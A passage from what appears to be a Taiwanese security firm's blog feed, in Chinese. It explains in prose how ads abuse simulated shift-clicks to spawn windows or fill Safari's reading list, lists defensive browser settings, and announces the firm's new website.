class="nt">&lt;/body&gt;</span> <span class="nt">&lt;/html&gt;</span></code></pre></figure> <p>利用「<a href="https://developer.mozilla.org/en-US/docs/Web/API/event.initMouseEvent">initMouseEvent</a>」模擬滑鼠的點擊,在 URL 上按下 Shift 鍵點擊。在一般瀏覽器中是「開啟新視窗」,在 Safari 中則是「加入閱讀清單」了,因此形成廣告視窗不斷加入閱讀清單的現象。廣告商利用這種手法增加廣告的點擊率,只要瀏覽器沒有安裝阻擋廣告的套件或者是阻擋「彈出式視窗」,你就會成為流量的貢獻者。</p> <p>經過我們的測試,Internet Explorer、Mozilla Firefox 不會受這類攻擊影響,Google Chrome、Opera 則會被內建的 Pop-up 視窗阻擋功能擋下。但若是直接模擬點擊,則全數瀏覽器都會受影響導向至 URL。雖然這種類型的攻擊不會造成實質上的損失跟危害,但若是結合其他惡意手法將可以造成攻擊。例如透過網站掛碼將使用者導向至惡意網站等等。</p> <p>若要避免此類型攻擊,有以下幾個建議方案:</p> <ol> <li>安裝 NoScript 類型套件,僅允許可信賴的網站執行 JavaScript</li> <li>開啟「彈出式視窗」阻擋功能,並將網站安全性等級提高。</li> <li>安裝 AdBlock 等廣告阻擋套件(但會影響網站營收)</li> <li>使用最新版本瀏覽器以策安全</li> </ol> <p>網頁型的攻擊越來越多樣化,除了依賴瀏覽器本身的保護並輔以第三方安全套件之外,更需要使用者本身的安全意識,才能安心暢快的瀏覽網路!</p> https://devco.re/blog/2014/03/06/qiyou-ads-hijacking/ https://devco.re/blog/2014/03/06/qiyou-ads-hijacking Thu, 06 Mar 2014 00:00:00 +0800 DEVCORE 新網站上線! <p>DEVCORE 的新網站上線了!<br /> 非常感謝專業的 <a href="http://evendesign.tw/">EVENDESIGN</a> 幫我們設計精美的網站!<br /></p> <p>我們目前主要服務項目為滲透測試、資安教育訓練、資安事件處理、資安顧問服務,<br /> 各項服務的詳細內容可參考 <a href="http://devco.re/services/penetration-test">Services</a> 頁面。<br /></p> <p>同時,在官網中我們將會不定期提供最新的資安新知及技術文章,<br /> 希望藉由我們的力量讓大眾更清楚資訊安全的重要。<br /> 並且透過站內的教學文獻,讓開發者、管理者進一步了解駭客的思維、攻防的手法,<br /> 知己知彼,才能百戰不怠。瞭解如何攻擊,更能知道如何防禦。<br /></p> <p>若對我們的網站內容或服務有任何建議,歡迎您隨時與我們聯繫。<br /> 希望我們能為您的企業資訊安全最佳把關者!<br /> 歡迎隨時聯絡我們! <code class="language-plaintext highlighter-rouge">contact [at] devco.re</code></p> https://devco.re/blog/2014/02/27/devcore-new-website/ https://devco.re/blog/2014/02/27/devcore-new-website Thu, 27 Feb 2014 00:00:00 +0800